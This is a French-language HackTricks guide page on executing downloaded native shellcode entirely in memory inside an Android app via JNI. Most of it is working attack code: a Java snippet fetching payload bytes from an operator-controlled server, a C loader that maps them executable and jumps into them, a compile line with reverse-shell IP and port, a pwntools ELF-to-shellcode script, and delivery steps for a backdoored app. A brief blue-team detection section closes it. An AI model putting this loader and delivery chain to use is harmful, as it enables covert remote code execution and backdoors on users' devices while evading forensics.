Android Exécution de code natif en mémoire via JNI (shellcode)
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cette page documente un pattern pratique pour exécuter des payloads natifs entièrement en mémoire depuis un processus d'app Android non fiable en utilisant JNI. Le flux évite de créer un binaire natif sur disque : télécharger des octets raw de shellcode via HTTP(S), les passer à un bridge JNI, allouer de la mémoire RX, et sauter dedans.
Pourquoi c'est important
- Réduit les artefacts forensiques (pas d'ELF sur disque)
- Compatible avec “stage-2” native payloads générés à partir d'un binaire exploit ELF
- S'aligne sur le tradecraft utilisé par les malwares modernes et les red teams
Schéma général
- Récupérer les octets de shellcode en Java/Kotlin
- Appeler une méthode native (JNI) avec le tableau d'octets
- Dans JNI : allouer de la mémoire RW → copier les octets → mprotect vers RX → appeler l'entrypoint
Exemple minimal
Java/Kotlin side
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
C côté JNI (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
Remarques et mises en garde
- W^X/execmem: Android moderne applique W^X ; les mappings anonymes PROT_EXEC sont généralement encore autorisés pour les processus d'application avec JIT (sous réserve de la politique SELinux). Certains appareils/ROM restreignent cela ; basculez vers des pools exec alloués par le JIT ou des native bridges si nécessaire.
- Architectures: Assurez-vous que l'architecture du shellcode correspond à celle de l'appareil (arm64-v8a couramment ; x86 seulement sur les émulateurs).
- Contrat de point d'entrée: Décidez d'une convention pour l'entrée de votre shellcode (sans arguments vs pointeur vers structure). Gardez-le position-independent (PIC).
- Stabilité: invalidez le cache d'instructions avant de sauter ; un cache désynchronisé peut provoquer un plantage sur ARM.
Packaging ELF → position‑independent shellcode Une pipeline robuste pour l'opérateur consiste à :
- Construisez votre exploit en tant qu'ELF statique avec musl-gcc
- Convertissez l'ELF en un blob de shellcode auto‑chargé en utilisant pwntools’ shellcraft.loader_append
Compilation
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
Transformer un ELF en raw shellcode (exemple amd64)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
Pourquoi loader_append fonctionne : il émet un tiny loader qui mappe les segments du programme ELF embarqué en mémoire et transfère le contrôle à son entrypoint, vous fournissant un unique raw blob qui peut être memcpy’ed et exécuté par l'app.
Delivery
- Hébergez sc sur un serveur HTTP(S) que vous contrôlez
- The backdoored/test app télécharge sc et invoque le JNI bridge montré ci‑dessus
- Écoutez sur votre operator box toute reverse connection que le kernel/user-mode payload établit
Validation workflow for kernel payloads
- Utilisez un vmlinux symbolisé pour un reversing rapide / récupération d'offsets
- Prototypez les primitives sur une debug image pratique si disponible, mais révalidez toujours sur la cible Android réelle (kallsyms, KASLR slide, page-table layout, et mitigations diffèrent)
Hardening/Detection (blue team)
- Interdire PROT_EXEC anonyme dans les domaines d'application lorsque possible (SELinux policy)
- Appliquez une intégrité stricte du code (pas de chargement natif dynamique depuis le réseau) et validez les canaux de mise à jour
- Surveillez les transitions mmap/mprotect suspectes vers RX et les copies volumineuses de byte-array précédant des jumps
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (notes d'installation)
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks